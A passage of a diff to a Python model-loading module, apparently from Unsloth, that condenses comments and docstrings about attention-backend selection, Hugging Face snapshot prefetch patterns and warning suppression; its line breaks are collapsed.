refuses, and no head dim reads as- # "no reason to disable Flash Attention" on exactly the models that may exceed its ceiling.+ # Per-layer first: on a heterogeneous config the global read refuses, and no head dim reads as "no reason to disable Flash Attention" on exactly the models that may exceed its ceiling.candidates = _get_per_layer_values(config, field_name)candidates.append(_config_get(config, field_name, None))for value in candidates:@@ -673,12 +626,10 @@ def _disable_flash_attention_if_needed(if disable_reason is None:return attn_implementation- # Only an implementation passed by the caller is an explicit request: config values are- # synthesized by the loaders or come from Transformers defaults.+ # Only an implementation passed by the caller is an explicit request: config values are synthesized by the loaders or come from Transformers defaults.explicit_request = attn_implementation- # Off for a float32 load: with no flash-specific reason the config never steered the choice, so- # a config-seeded "eager" must not drag an fp32 load from sdpa down to eager.+ # Off for a float32 load: with no flash-specific reason the config never steered the choice, so a config-seeded "eager" must not drag an fp32 load from sdpa down to eager.requested_attn_implementation = attn_implementationif honor_config_attn_implementation:if requested_attn_implementation is None:@@ -691,9 +642,7 @@ def _disable_flash_attention_if_needed(model_type = _config_get(config, "model_type", "")- # The disable reason is flash-specific, so honor an explicit non-flash request. SDPA is honored- # unless known-broken, flex only when supports_flex_attention accepts it, so an explicit- # request cannot select a backend the repo marks as wrong.+ # The disable reason is flash-specific, so honor an explicit non-flash request. SDPA is honored unless known-broken, flex only when supports_flex_attention accepts it, so an explicit request cannot select a backend the repo marks as wrong.if explicit_request == "sdpa" and not _is_sdpa_excluded(model_type.lower()):return _set_attn_impl(config, "sdpa")if explicit_request == "flex_attention" and supports_flex_attention:@@ -764,8 +713,7 @@ def resolve_model_class(auto_model, config):def _is_family_text_decoder(parent_model_type, text_model_type):- # True only for the family's own text variant (gemma3 -> gemma3_text); a generic reused decoder- # (llava -> llama) would load random weights, so keep the full model.+ # True only for the family's own text variant (gemma3 -> gemma3_text); a generic reused decoder (llava -> llama) would load random weights, so keep the full model.return bool(parent_model_type) and str(text_model_type).startswith(parent_model_type)@@ -787,8 +735,7 @@ def _get_text_only_config(model_config, model_name):def _remap_text_only_skip_modules(qc):- # Remap llm_int8_skip_modules off the VLM wrapper prefix (language_model.model.* -> model.*)- # after text-only stripping, and drop vision/audio entries (#5816).+ # Remap llm_int8_skip_modules off the VLM wrapper prefix (language_model.model.* -> model.*) after text-only stripping, and drop vision/audio entries (#5816).is_dict = isinstance(qc, dict)skip = (qc.get("llm_int8_skip_modules") if is_dict else getattr(qc, "llm_int8_skip_modules", None)@@ -829,9 +776,7 @@ def _remap_text_only_skip_modules(qc):def _get_text_only_key_mapping(parent_config, text_config):- # transformers >= 5 stopped stripping the VLM wrapper prefix (base_model_prefix went- # language_model -> model), so remap text weights onto the decoder keys. None on tf <5, which- # still strips and would break the load with a mapping (#5816).+ # transformers >= 5 stopped stripping the VLM wrapper prefix (base_model_prefix went language_model -> model), so remap text weights onto the decoder keys. None on tf <5, which still strips and would break the load with a mapping (#5816).if Version(transformers_version) < Version("5.0.0"):return Noneif not _is_family_text_decoder(@@ -891,8 +836,7 @@ def resolve_attention_implementation(if _is_eager_only(model_type):attn_impl = _set_attn_impl(config, "eager")elif prefers_flex_attention and supports_flex_attention:- # _FLEX_PREFERRED_MODELS (the gemma3 family) prefer flex_attention over flash; a caller can- # still override with requested_attn_implementation="sdpa".+ # _FLEX_PREFERRED_MODELS (the gemma3 family) prefer flex_attention over flash; a caller can still override with requested_attn_implementation="sdpa".attn_impl = _set_attn_impl(config, "flex_attention")elif not flash_attention_disabled and HAS_FLASH_ATTENTION and supports_flash_attention:attn_impl = _set_attn_impl(config, "flash_attention_2")@@ -904,7 +848,6 @@ def resolve_attention_implementation(would_use_flash_attention = (HAS_FLASH_ATTENTIONand supports_flash_attention- # An explicit request is settled below and reports its own downgrade.and not (float32_is_only_disable_reason and requested_attn_implementation is not None)@@ -920,9 +863,7 @@ def resolve_attention_implementation(else:attn_impl = _set_attn_impl(config, "eager")- # float32 only rules out flash, unlike config-driven reasons, which say something about the- # model itself, so an explicit non-flash request skips the flash fallback ladder: gemma3 +- # "sdpa" resolves to eager, but the ladder says flex_attention.+ # float32 only rules out flash, unlike config-driven reasons, which say something about the model itself, so an explicit non-flash request skips the flash fallback ladder: gemma3 + "sdpa" resolves to eager, but the ladder says flex_attention.reroute_request_through_flash_fallback = flash_attention_disabled and not (float32_is_only_disable_reasonand not _is_flash_attention_requested(requested_attn_implementation)@@ -942,9 +883,7 @@ def resolve_attention_implementation(final_attn_impl = requested_attn_implementation_set_attn_impl(config, final_attn_impl)- # An explicit "sdpa" is kept even on a conservatively unsupported model, except where SDPA is- # known-broken, which still downgrades to eager just as flex falls back for- # _FLEX_EXCLUDED_MODELS. A synthesized default sdpa (requested is None) also downgrades.+ # An explicit "sdpa" is kept even on a conservatively unsupported model, except where SDPA is known-broken, which still downgrades to eager just as flex falls back for _FLEX_EXCLUDED_MODELS. A synthesized default sdpa (requested is None) also downgrades.honor_explicit_sdpa = requested_attn_implementation == "sdpa" and not _is_sdpa_excluded(model_type)@@ -987,7 +926,6 @@ def _run_temporary_patches(phase):_run_temporary_patches("init")-# =============================================warnings.filterwarnings(action = "ignore", category = UserWarning, module = "torch")warnings.filterwarnings(action = "ignore", category = FutureWarning, module = "torch")warnings.filterwarnings(action = "ignore", category = UserWarning, module = "huggingface_hub")@@ -1003,14 +941,12 @@ warnings.filterwarnings(action = "ignore", category = RuntimeWarning, module = "warnings.filterwarnings(action = "ignore", category = UserWarning, module = "triton")warnings.filterwarnings(action = "ignore", category = UserWarning, module = "bitsandbytes")-# Stop "Special tokens have been added in the vocabulary, ..."logging.getLogger("transformers.tokenization_utils_base").setLevel(logging.CRITICAL + 1)TORCHAO_MSG = "Error: torchao not found, please install with `pip install torchao`"-# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state),-# skipped when prewarming so a mixed-format repo is not pulled in full.+# Artifacts a Transformers/PEFT load never reads (ONNX/TF/Flax/CoreML/GGUF/training state), skipped when prewarming so a mixed-format repo is not pulled in full._PREFETCH_IGNORE_PATTERNS = ("*.onnx","onnx/*",@@ -1021,7 +957,6 @@ _PREFETCH_IGNORE_PATTERNS = ("*.mlpackage/*","*.mlmodel","*.gguf",- # Training / checkpoint formats from_pretrained never reads."*.pt","*.pth","*.ckpt",@@ -1034,8 +969,7 @@ _PREFETCH_IGNORE_PATTERNS = ()-# Repo-root tokenizer / config / processor files from_pretrained reads from root even when-# weights load from a subfolder. Exact names, so they match only root-level files.+# Repo-root tokenizer / config / processor files from_pretrained reads from root even when weights load from a subfolder. Exact names, so they match only root-level files._ROOT_AUX_PREFETCH_PATTERNS = ("config.json","generation_config.json",@@ -1048,8 +982,7 @@ _ROOT_AUX_PREFETCH_PATTERNS = ("vocab.txt","merges.txt","spiece.model",- # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral,- # XLM-R/mBART, Marian, FSMT/XLM, GPT-2).+ # More VOCAB_FILES_NAMES the slow tokenizer may fetch (DeBERTa-v2, Whisper, Mistral, XLM-R/mBART, Marian, FSMT/XLM, GPT-2)."spm.model","normalizer.json","tokenizer.model.v3",@@ -1058,7 +991,6 @@ _ROOT_AUX_PREFETCH_PATTERNS = ("target.spm","bpe.codes","vocab.bpe",- # More VOCAB_FILES_NAMES (RemBERT, FSMT) a distinct-tokenizer-repo warm must cache too."sentencepiece.model","vocab-src.json","vocab-tgt.json",@@ -1075,17 +1007,14 @@ _ROOT_AUX_PREFETCH_PATTERNS = ()-# Files a PEFT adapter load reads: config plus weights, the glob covering sharded adapters. Any-# merged full-model weights the repo ships match none of these.+# Files a PEFT adapter load reads: config plus weights, the glob covering sharded adapters. Any merged full-model weights the repo ships match none of these._ADAPTER_PREFETCH_PATTERNS = ("adapter_config.json","adapter_model*",)-# Weight files in a SUBDIRECTORY: a bare root load reads only root weights, so ignoring these-# drops alternate-precision dirs. "*/*" spans "/" in HF fnmatch, so nested weights match while-# root model.safetensors is kept. Only under weights_at_root: diffusion uses subfolders.+# Weight files in a SUBDIRECTORY: a bare root load reads only root weights, so ignoring these drops alternate-precision dirs. "*/*" spans "/" in HF fnmatch, so nested weights match while root model.safetensors is kept. Only under weights_at_root: diffusion uses subfolders._SUBDIR_WEIGHT_IGNORE_PATTERNS = ("*/*.safetensors","*/*.bin",@@ -1097,16 +1026,14 @@ _SUBDIR_WEIGHT_IGNORE_PATTERNS = (def _in_requested_load_scope(filename, subfolder):- """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is- redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""+ """True if *filename* is in the location being loaded (*subfolder*, else root). Scopes the ".bin is redundant when safetensors exist" test so a .bin-only subfolder keeps its .bin."""filename = filename.replace("\\", "/")if isinstance(subfolder, str) and subfolder.strip("/"):return filename.startswith(subfolder.strip("/") + "/")return "/" not in filename # root load: no directory component-# .safetensors training-state files that are NOT model weights (optimizer.safetensors beside a-# real pytorch_model.bin); counting them as model safetensors would drop the needed .bin.+# .safetensors training-state files that are NOT model weights (optimizer.safetensors beside a real pytorch_model.bin); counting them as model safetensors would drop the needed .bin._NON_MODEL_WEIGHT_STEMS = frozenset({"optimizer",@@ -1119,9 +1046,7 @@ _NON_MODEL_WEIGHT_STEMS = frozenset(def _is_model_weight_safetensors(filename):- """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar- (adapter_model.safetensors) or trainer-state (optimizer.safetensors). Only a real one proves the- .bin redundant; counting a sidecar would wrongly drop the needed .bin (fetched then without Xet fallback)."""+ """True if *filename* is a model-weights safetensors, not a PEFT adapter/sidecar or trainer-state. Only a real one proves the .bin redundant; counting a sidecar would wrongly drop the needed .bin, fetched then without Xet fallback."""name = filename.replace("\\", "/").rsplit("/", 1)[-1]if not name.endswith((".safetensors", ".safetensors.index.json")):return False@@ -1135,9 +1060,7 @@ def _is_model_weight_safetensors(filename):def _is_canonical_variant_model_weight_safetensors(filename, variant):- """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms- transformers reads (single, either numbered-shard layout, or the index). Strict (base must be- "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""+ """True for a canonical model-weights safetensors carrying the requested *variant*, in the forms transformers reads (single, either numbered-shard layout, or the index). Strict (base must be "model"): a sidecar like consolidated.<variant>.safetensors does not prove the variant .bin redundant."""base = filename.replace("\\", "/").rsplit("/", 1)[-1]v = re.escape(variant)return bool(@@ -1157,9 +1080,7 @@ _CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE = re.compile(def _is_canonical_model_weight_safetensors(filename):- """True for a canonical (non-variant) model-weights safetensors a default load reads (model.safetensors,- a numbered shard, or the index). Strict: an unrecognized name keeps both formats, so a variant-only- safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""+ """True for a canonical (non-variant) model-weights safetensors a default load reads. Strict: an unrecognized name keeps both formats, so a variant-only safetensors + pytorch_model.bin repo never has its .bin dropped for a no-variant load."""name = filename.replace("\\", "/").rsplit("/", 1)[-1]return bool(_CANONICAL_MODEL_WEIGHT_SAFETENSORS_RE.match(name))@@ -1170,8 +1091,7 @@ def _adapter_repo_has_safetensors(token = None,revision = None,):- """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin- redundant)? Scoped to root adapter_model* files; any failure returns False."""+ """Best-effort: does the adapter repo ship a root safetensors adapter weight (making the .bin redundant)? Scoped to root adapter_model* files; any failure returns False."""try:from huggingface_hub import HfApisiblings = HfApi().model_info(model_name, revision = revision, token = token).siblings or []@@ -1192,17 +1112,12 @@ def _st_weighted_subfolder_paths(revision = None,cache_dir = None,):- """Best-effort: which subfolder modules of this sentence-transformers repo hold weights the load- reads? Returns their declared paths, or () for anything that is not such a repo. Any failure returns- (), which keeps the previous behaviour.+ """Best-effort: which subfolder modules of this sentence-transformers repo hold weights the load reads? Returns their declared paths, or () for anything else and on any failure.- weights_at_root is a two-way split, root weights or per-subfolder weights, and an ST model can be- both: unsloth/embeddinggemma-300m ships a root model.safetensors plus 2_Dense/model.safetensors and- 3_Dense/model.safetensors, which the ST load reads as part of the model. Pruning those made the- download unsatisfiable, and unsloth_zoo's post-download gate then reported it as a network fault.+ weights_at_root is a two-way split, root weights or per-subfolder weights, and an ST model can be both: unsloth/embeddinggemma-300m ships a root model.safetensors plus 2_Dense/ and 3_Dense/model.safetensors, which the ST load reads as part of the model. Pruning those made the download unsatisfiable, and unsloth_zoo's post-download gate then reported it as a network fault.- modules.json is a few hundred bytes, and the module taxonomy is shared with unsloth_zoo rather than- restated, so the two cannot drift apart."""+ modules.json is a few hundred bytes, and the module taxonomy is shared with unsloth_zoo rather than restated, so the two cannot drift apart.+ """try:import json as _json@@ -1257,12 +1172,7 @@ def _repo_has_weighted_st_subfolders(def _weight_format_ignore_patterns(extensions, st_module_paths, siblings):- """ignore_patterns dropping *extensions*, scoped away from declared ST module subfolders.-- A bare "*.bin" spans "/" under the Hub's fnmatch matcher, so on a repo with a root- model.safetensors AND a 2_Dense/pytorch_model.bin it strips that module's only weight and the- snapshot is unsatisfiable again. With module paths known, the glob is replaced by the concrete- repo files outside them: the redundant root weight is still pruned, nothing new is fetched."""+ """ignore_patterns dropping *extensions*, scoped away from declared ST module subfolders. A bare "*.bin" spans "/" under the Hub's fnmatch matcher, so on a repo with a root model.safetensors AND a 2_Dense/pytorch_model.bin it strips that module's only weight. With module paths known, the glob is replaced by the concrete repo files outside them."""if not st_module_paths:return tuple(f"*{extension}" for extension in extensions)from glob import escape as _glob_escape@@ -1288,15 +1198,7 @@ def _prefetch_ignore_patterns(weights_at_root = False,st_module_paths = (),):- """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when- loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors- is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only- when in-scope safetensors are shipped. from_tf/from_flax keep *.h5/*.msgpack.-- Suppressed for a whole multi-component snapshot (weights_at_root=False, no subfolder: ST/diffusers- repos with per-subfolder weights, each in its own format), since "*" spans "/" so dropping "*.bin"- would strip a module's only weight."""- # Keep checkpoint-*/* under a checkpoint-* subfolder; keep *.h5 / *.msgpack under from_tf/flax.+ """ignore_patterns for the prewarm snapshot: the static skip list, minus the checkpoint guard when loading from a checkpoint-* subfolder, minus the weight format the load will not read. use_safetensors is a format allowlist (True -> skip *.bin, False -> skip *.safetensors); auto (None) skips *.bin only when in-scope safetensors are shipped, and from_tf/from_flax keep *.h5/*.msgpack. Suppressed for a whole multi-component snapshot (ST/diffusers repos with per-subfolder weights), since "*" spans "/" so dropping "*.bin" would strip a module's only weight."""ignore_patterns = [patternfor pattern in _PREFETCH_IGNORE_PATTERNS@@ -1310,19 +1212,16 @@ def _prefetch_ignore_patterns(or (from_flax and pattern == "*.msgpack"))]- # Drop the format the load will not read, since the other doubles the download; skipped for a- # whole multi-component snapshot.+ # Drop the format the load will not read, since the other doubles the download; skipped for a whole multi-component snapshot.whole_multi_component = not weights_at_root and not (isinstance(subfolder, str) and subfolder.strip("/"))if whole_multi_component:passelif st_module_paths and (from_tf or from_flax or use_safetensors is not None):- # An explicit format request cannot be scoped: no repo listing is fetched here and the globs- # span "/", so they would prune a declared ST module's only weight. Keep both formats.+ # An explicit format request cannot be scoped: no repo listing is fetched here and the globs span "/", so they would prune a declared ST module's only weight. Keep both formats.passelif from_tf or from_flax:- # TF / Flax loads never read the PyTorch formats.ignore_patterns.extend(("*.safetensors",@@ -1335,7 +1234,6 @@ def _prefetch_ignore_patterns(# Explicit safetensors: the load never reads .bin, so no model_info call is needed.ignore_patterns.extend(("*.bin", "*.bin.index.json"))elif use_safetensors is False:- # Explicit .bin: the load never reads safetensors.ignore_patterns.extend(("*.safetensors", "*.safetensors.index.json"))else:# Auto: skip .bin only once in-scope safetensors are confirmed (best-effort; any failure keeps both).@@ -1352,8 +1250,7 @@ def _prefetch_ignore_patterns(.siblingsor [])- # Count only in-scope model-weight safetensors, not adapters or sidecars, variant-matching when- # a variant is requested, else canonical, to prove the .bin redundant.+ # Count only in-scope model-weight safetensors, not adapters or sidecars, variant-matching when a variant is requested, else canonical, to prove the .bin redundant.has_safetensors = any(_is_model_weight_safetensors(sibling.rfilename)and _in_requested_load_scope(sibling.rfilename, subfolder)@@ -1396,16 +1293,7 @@ def maybe_prefetch_hf_snapshot(variant = None,gguf_file = None,):- """Warm the HF cache for a remote repo before the in-process load.-- Xet can hang on a blob with no progress or exception, and a blocked native Xet thread cannot be- killed in-process. So pull the snapshot first in a killable subprocess that falls back Xet -> HTTP- on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit.-- Returns True iff warmed (caller can clear force_download), else False (skipped: local/offline/- local_files_only/fast_inference/old unsloth_zoo, or failed). Only a both-transports-stalled- DownloadStallError is raised; other failures are left for from_pretrained to surface.- """+ """Warm the HF cache for a remote repo before the in-process load. Xet can hang on a blob with no progress or exception and a blocked native Xet thread cannot be killed in-process, so pull the snapshot first in a killable subprocess that falls back Xet -> HTTP on a stall (unsloth_zoo.hf_xet_fallback), making from_pretrained a cache hit. Returns True iff warmed (caller can clear force_download), else False. Only a both-transports-stalled DownloadStallError is raised; other failures are left for from_pretrained to surface."""try:from unsloth_zoo.hf_xet_fallback import (snapshot_download_with_xet_fallback,@@ -1437,9 +1325,7 @@ def maybe_prefetch_hf_snapshot(if fast_inference: # vLLM has its own download pathreturn False- # A sentence-transformers repo can hold weights at the root AND in declared module subfolders.- # Probed once and shared, since the subdir prune and the format prune both span "/" and would- # drop those weights.+ # A sentence-transformers repo can hold weights at the root AND in declared module subfolders. Probed once and shared, since the subdir prune and the format prune both span "/" and would drop those weights.st_module_paths = ()if (weights_at_root@@ -1452,8 +1338,7 @@ def maybe_prefetch_hf_snapshot(revision = revision,cache_dir = cache_dir,)- # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore- # list and its model_info call are skipped.+ # tokenizer-only / adapter-only warms allow-list exact files below, so the weight-format ignore list and its model_info call are skipped.ignore_patterns = (Noneif tokenizer_only or adapter_only or gguf_file@@ -1470,12 +1355,10 @@ def maybe_prefetch_hf_snapshot(st_module_paths = st_module_paths,))- # Narrow the warm to what the load reads; every branch still warms root tokenizer, config and- # custom code so those never fall in-process.+ # Narrow the warm to what the load reads; every branch still warms root tokenizer, config and custom code so those never fall in-process.allow_patterns = Noneif gguf_file:- # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf, so warm that- # file plus root aux.+ # gguf_file=NAME reads exactly that GGUF, but the static ignore list drops *.gguf, so warm that file plus root aux._gguf_path = (f"{subfolder.strip('/')}/{gguf_file}"if isinstance(subfolder, str) and subfolder.strip("/")@@ -1486,11 +1369,9 @@ def maybe_prefetch_hf_snapshot(# A distinct tokenizer repo: warm only tokenizer / config / vocab files, never its weights.allow_patterns = list(_ROOT_AUX_PREFETCH_PATTERNS)elif adapter_only:- # A PEFT adapter load reads only adapter_config.json, adapter_model.* and root aux, not any- # merged weights the repo may publish.+ # A PEFT adapter load reads only adapter_config.json, adapter_model.* and root aux, not any merged weights the repo may publish.allow_patterns = [*_ADAPTER_PREFETCH_PATTERNS, *_ROOT_AUX_PREFETCH_PATTERNS]- # PeftModel reads one format: an explicit use_safetensors wins, else prefer safetensors when- # the repo ships them.+ # PeftModel reads one format: an explicit use_safetensors wins, else prefer safetensors when the repo ships them.if use_safetensors is False:ignore_patterns = ["adapter_model*.safetensors",@@ -1504,9 +1385,7 @@ def maybe_prefetch_hf_snapshot(# subfolder=X: the load resolves every weight under X/, so warm that subfolder plus root aux.allow_patterns = [f"{subfolder.strip('/')}/*", *_ROOT_AUX_PREFETCH_PATTERNS]elif weights_at_root:- # A bare load reads only root weights, so drop subdir weights and keep subdir configs. Except- # a sentence-transformers model with a root weight AND weighted module subfolders, which the ST- # load also reads: dropping those made the request unsatisfiable.+ # A bare load reads only root weights, so drop subdir weights and keep subdir configs. Except a sentence-transformers model with a root weight AND weighted module subfolders, which the ST load also reads.if not st_module_paths:ignore_patterns = [*(ignore_patterns or []), *_SUBDIR_WEIGHT_IGNORE_PATTERNS]try:@@ -1532,7 +1411,6 @@ def maybe_prefetch_hf_snapshot(return False-# Ignore logging messagesclass HideLoggingMessage(logging.Filter):__slots__ = ("text",)@@ -1543,12 +1421,8 @@ class HideLoggingMessage(logging.Filter):return not (self.text in x.getMessage())-# Replace warning messages, analogous to HideLoggingMessage but for warnings.warn.class ReplaceWarningMessage:- """- Intercepts warnings.warn calls and replaces matching messages with Unsloth branded ones.- Uses a list of registered (match_text, replacement, category) rules checked in order.- """+ """Intercept warnings.warn and replace matching messages with Unsloth branded ones, via registered (match_text, replacement, category) rules checked in order."""_rules = []_original_showwarning = None@@ -1588,7 +1462,6 @@ class ReplaceWarningMessage:warnings.showwarning = _patched_showwarning-# Stop vLLM messagesif not UNSLOTH_ENABLE_LOGGING:try:from vllm.worker.worker import logger as vllm_worker_logger@@ -1651,22 +1524,17 @@ if not UNSLOTH_ENABLE_LOGGING:except:pass-# The torchdynamo speedups mostly need Ampere or higher, which is not detected here.from transformers.training_args import logger as transformers_training_args_loggertransformers_training_args_logger.addFilter(HideLoggingMessage("The speedups"))-# torch.distributed process group is initialized, but parallel_mode != ParallelMode.DISTRIBUTED.transformers_training_args_logger.addFilter(HideLoggingMessage("torch.distributed"))-# average_tokens_across_devices is set to True but it is invalid when world size is1transformers_training_args_logger.addFilter(HideLoggingMessage("average_tokens_across_devices"))del transformers_training_args_logger-# No label_names provided for model classfrom transformers.trainer import logger as transformers_trainer_loggertransformers_trainer_logger.addFilter(HideLoggingMessage("No label_names"))-# The tokenizer has new PAD/BOS/EOS tokens that differ from the model config and generation config.transformers_trainer_logger.addFilter(HideLoggingMessage("The tokenizer has new"))del transformers_trainer_logger@@ -1707,24 +1575,12 @@ try:transformers_generation_utils_logger.addFilter(HideLoggingMessage("Setting `pad_token_id` to `eos_token_id`"))- # "You have set `compile_config`transformers_generation_utils_logger.addFilter(HideLoggingMessage("compile_config"))del transformers_generation_utils_loggerexcept:pass-# Check for CUDA linking errors "undefined symbol: _ZNK3c106SymIntltEl"-# Hide HF Hub unauthenticated request warnings-# We detected that you are using `from_pretrained` with a meta device context manager or-# `torch.set_default_device('meta')-# `use_cache=True` is incompatible with gradient checkpointing-# Using a slow image processor as `use_fast`-# UserWarning: Logical operators 'and' and 'or' are deprecated for non-scalar tensors; please use '&' or '|'-# instead Will be fixed in torch 2.8.1 https://github.com/pytorch/pytorch/issues/158463-# You passed `quantization_config` or equivalent parameters-# MXFP4 quantization requires triton >= 3.4.0-# Xet Storage is enabled for this repo, but the 'hf_xet' package is not installed.-# Gemma4 It is strongly recommended to train Gemma4 models with the `eager`+# Suppressed warnings: CUDA linking errors ("undefined symbol: _ZNK3c106SymIntltEl"), HF Hub unauthenticated requests, from_pretrained under a meta device context, use_cache with gradient checkpointing, slow image processors, the non-scalar and/or deprecation (fixed in torch 2.8.1, pytorch/pytorch#158463), quantization_config passthrough, MXFP4 needing triton >= 3.4.0, Xet Storage without hf_xet, and Gemma4's eager-attention recommendation.try:from transformers.generation.configuration_utils import (logger as configuration_logger,@@ -1772,7 +1628,6 @@ try:except:pass-# Logical operators 'and'/'or' deprecated for non-scalar tensors; fixed in torch 2.8.1, pytorch/pytorch#158463.try:warnings.filterwarnings(action = "ignore",@@ -1820,28 +1675,17 @@ try:except:pass-# Errors out on "Some weights of Gemma3nForConditionalGeneration were not initialized from the model checkpoint".from transformers.modeling_utils import logger as transformers_logger-# Faster safetensors loads on UMA GPUs; the lazy gate keeps this import fork-safe (no CUDA-# init). No-op off-UMA, opt out with UNSLOTH_DISABLE_UMA_CLONE_LOAD=1.+# Faster safetensors loads on UMA GPUs; the lazy gate keeps this import fork-safe (no CUDA init). No-op off-UMA, opt out with UNSLOTH_DISABLE_UMA_CLONE_LOAD=1.from ._uma_safetensors import patch_unified_memory_safetensors_loadpatch_unified_memory_safetensors_load()def _all_missing_keys_are_position_ids(record_str):- """True only when EVERY key in the 'newly initialized: [...]' list is a position_ids- buffer.-- transformers reports all missing keys in a single record, so a substring test would- wrongly suppress the warning when a real missing weight is listed alongside a benign- position_ids buffer. position_ids is a deterministic arange buffer that transformers- itself lists in _keys_to_ignore_on_load_missing (some VLMs, e.g. DeepSeek-OCR, ship it- non-persistently), so a record listing ONLY position_ids keys is safe to ignore;- anything else must still raise.- """+ """True only when EVERY key in the 'newly initialized: [...]' list is a position_ids buffer. transformers reports all missing keys in one record, so a substring test would wrongly suppress the warning when a real missing weight is listed alongside a benign position_ids buffer. position_ids is a deterministic arange buffer transformers itself lists in _keys_to_ignore_on_load_missing, so a record listing ONLY those keys is safe to ignore."""import astimport re@@ -1903,7 +1747,6 @@ try:except:pass-# Replace the PEFT target_parameters warning with an Unsloth-branded message for MoE models.ReplaceWarningMessage.add_rule(match_text = "target_parameters",replacement = (@@ -1917,9 +1760,7 @@ from transformers.trainer_pt_utils import is_deepspeed_zero3_enableddef extract_quant_model_param_count(model):- """- Calculate quant model param count based on difference in param class. Returns int for param count.- """+ """Quantized model param count, from the difference in param class."""count: int = 0for name, p in model.named_parameters():if p.__class__.__name__ == "Params4bit":@@ -1930,9 +1771,7 @@ def extract_quant_model_param_count(model):def get_model_param_count(model, trainable_only = False):- """- Calculate model's total param count. If trainable_only is True then count only those requiring grads- """+ """Model's total param count; with trainable_only, only those requiring grads."""if is_deepspeed_zero3_enabled():def numel(p):@@ -1961,11 +1800,7 @@ import transformers.trainertransformers.trainer.get_model_param_count = get_model_param_count-# Edits all Config files to enable RoPE Scaling for all models.--# Transformers had to update for Mistral Nemo 12b since Attention is (5120, 4096) now.-# =============================================def patch_mistral_nemo_config(config):if "head_dim (" not in config:add_head_dim = (@@ -2013,10 +1848,7 @@ model_architectures = ["falcon_h1",]-# Transformers 5.x config classes use class-level annotations with @strict, @auto_docstring and-# interval(), so exec(inspect.getsource(...)) fails with those symbols out of scope. Skip the-# exec-based patching there; those configs already use rope_parameters, the v5 replacement for-# rope_scaling.+# Transformers 5.x config classes use class-level annotations with @strict, @auto_docstring and interval(), so exec(inspect.getsource(...)) fails with those symbols out of scope. Skip the exec-based patching there; those configs already use rope_parameters, the v5 replacement for rope_scaling._skip_config_exec_patch = Version(transformers_version) >= Version("5.0.0")for model_name in model_architectures:@@ -2050,7 +1882,6 @@ for model_name in model_architectures:config,)- # Just for Mistral Nemo.if model_name == "mistral":if Version(transformers_version) <= Version("4.42.4"):config = patch_mistral_nemo_config(config)@@ -2062,8 +1893,6 @@ for model_name in model_architectures:except Exception:continue-# torch.cuda.amp.custom_fwd is deprecated from 2.4.-# =============================================torch_version = torch.__version__if DEVICE_TYPE in ("cuda", "hip"):if Version(torch_version) < Version("2.4.0"):@@ -2083,11 +1912,7 @@ else:torch_amp_custom_fwd = torch.amp.custom_fwd(device_type = DEVICE_TYPE_TORCH)torch_amp_custom_bwd = torch.amp.custom_bwd(device_type = DEVICE_TYPE_TORCH)-# Fix KeyError: 'Cache only has 0 layers, attempted to access layer with index 0'.--# Weird Databricks errors.-# =============================================from transformers.utils import is_openai_availableif is_openai_available():@@ -2102,14 +1927,12 @@ if is_openai_available():transformers.utils.is_openai_available = _is_openai_available-# =============================================from transformers import AutoTokenizerfrom transformers.utils.import_utils import _is_package_availabledef _package_available(pkg_name: str) -> bool:- # transformers >= 5.x makes _is_package_available always return an (exists, version) tuple,- # truthy even when absent; older versions returned a plain bool.+ # transformers >= 5.x makes _is_package_available always return an (exists, version) tuple, truthy even when absent; older versions returned a plain bool.result = _is_package_available(pkg_name)if isinstance(result, tuple):return bool(result[0])@@ -2121,9 +1944,7 @@ HAS_FLASH_ATTENTION = FalseHAS_FLASH_ATTENTION_SOFTCAPPING = Falseif DEVICE_TYPE == "cuda" and not torch.cuda.is_available():- # UNSLOTH_ALLOW_CPU=1 keeps DEVICE_TYPE "cuda" on driverless hosts, so ask whether a device is- # present before asking what it can do. No device means no bfloat16 to claim (False costs only- # float32, True fails at the first cast) and no Flash Attention either.+ # UNSLOTH_ALLOW_CPU=1 keeps DEVICE_TYPE "cuda" on driverless hosts, so ask whether a device is present before asking what it can do. No device means no bfloat16 to claim (False costs only float32, True fails at the first cast) and no Flash Attention either.SUPPORTS_BFLOAT16 = FalseHAS_FLASH_ATTENTION = FalseHAS_FLASH_ATTENTION_SOFTCAPPING = False@@ -2137,13 +1958,11 @@ elif DEVICE_TYPE == "cuda":# Check for CUDA linking errors "undefined symbol: _ZNK3c106SymIntltEl" and for softcapping; see #1437.try:try:- # See https://github.com/unslothai/unsloth/issues/1437from flash_attn.flash_attn_interface import flash_attn_gpuexcept:from flash_attn.flash_attn_interface import flash_attn_cudaHAS_FLASH_ATTENTION = True- # Also check for softcappingfrom flash_attn import __version__ as flash_attn_versionHAS_FLASH_ATTENTION_SOFTCAPPING = Version(flash_attn_version) >= Version("2.6.3")@@ -2173,22 +1992,18 @@ elif DEVICE_TYPE == "cuda":else:HAS_FLASH_ATTENTION = Falseelse:- # Tri Dao's benchmark shows xformers is faster for now.HAS_FLASH_ATTENTION = Falseelif DEVICE_TYPE == "hip":SUPPORTS_BFLOAT16 = torch.cuda.is_bf16_supported()if _package_available("flash_attn"):# Check for CUDA linking errors "undefined symbol: _ZNK3c106SymIntltEl" and for softcapping; see #1437.- # Check for CUDA linking errors "undefined symbol: _ZNK3c106SymIntltEl"try:try:- # See https://github.com/unslothai/unsloth/issues/1437from flash_attn.flash_attn_interface import flash_attn_gpuexcept:from flash_attn.flash_attn_interface import flash_attn_cudaHAS_FLASH_ATTENTION = True- # Also check for softcappingfrom flash_attn import __version__ as flash_attn_versionHAS_FLASH_ATTENTION_SOFTCAPPING = Version(flash_attn_version) >= Version("2.6.3")@@ 